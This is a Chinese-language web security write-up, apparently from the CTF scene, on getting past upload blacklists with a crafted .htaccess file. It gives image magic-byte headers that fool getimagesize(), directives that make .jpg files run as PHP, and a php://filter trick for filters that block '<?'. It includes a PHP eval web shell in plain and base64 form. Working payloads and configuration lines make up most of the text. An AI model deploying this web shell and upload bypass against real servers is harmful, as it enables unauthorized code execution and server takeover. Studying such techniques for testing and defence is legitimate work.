前言
在很多時候有限制文件上傳的類型,而黑名單ban了很多相關的后綴,如果沒有警用.htaccee
那么就能觸發getshell
.htaccess
可以把.jpg
解析成php
語法
AddType application/x-httpd-php .jpg
PHP5
圖像相關的信息檢測常用getimagesize( )函數,那么對於.htaccess
文件來說,注釋有#
和%00
這2個符號,圖片頭沒有#
,但是有%00
的文件
比如
jp2
格式如下
00 00 00 0c 6a 50 20 20 0d 0a 87 0a(必須)
在圖中width
是C6
hight
是6F
,修改對應位置的值即可返回對應的長度
ico
格式如下
00 00 01 00(必須) 01 00 20 20 (32 * 32的大小) 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 01 20
所以如果不限制大小可以在.htaccess
文件面前加上
aaaaaa
然后用winhex改成
00 00 01 00 0a 0d
bwmp
格式如下
00 00 01 01
表示width
為1
, hight
為1
00 00 8A 39 8A 39
表示width
為1337
, hight
為1337
如果大小值>80
,那么就會取2位,否則只會取1位
有了上面的幾種情況就可以上傳.htaccess
文件,並符合其語法
接下來上傳個圖片馬即可
然后直接訪問圖片就被解析成php代碼了
PHP7以后
有時候有這種情況把<?
給waf了,在php7
之前可以按上面的<script language>來達到繞過<?php
這種情況,但是在php7
之后這些標簽都是被移除了,因此可以靠base64解碼來達到目的
<?php eval($_POST[1]); ?>
base64編碼后
PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
加上文件頭,這里用wbmp
00 00 01 01
因為base64是4個一組,而上面的wbmp頭文件剛好4個字節,所以不用補充,如果是png則需要補充很多...
這里4個字節的圖片頭建議用gif,剛好4個字節
47 49 46 38
所以形成1.gif
的base64
為
GIF8D9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
接下來.htaccess
的格式是
00 00 01 01(進hex進制里面修改下)
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/read=convert.base64-decode/resource=1.gif"
這里有個2個坑
坑1:因為是黑名單,如果上傳的文件是能被服務器解析的比如jpg
能被解析成圖片而.abc
這樣的后綴不會被解析,這里有個區別
.jpg
這種能被解析的文件,在被文件包含時文件頭要和擴展名一致才能解析
.abc
這種不會被解析的文件,在被文件包含時文件頭任意即可
坑2:在Server API
為CGI/FastCGI
時以上的.htaccess
腳本是報500
錯的,我在windows
下的phpstudy
就是這種解析方式。
但是在linux
下一般情況是Server API
為Apache 2.0 Handler
,因此以上的.htaccess
是能夠被解析的
參考鏈接:
https://xz.aliyun.com/t/3937?tdsourcetag=s_pcqq_aiomsg
https://www.xctf.org.cn/library/details/0c94ff6b44aa5798c34237788e04bd12eca90313/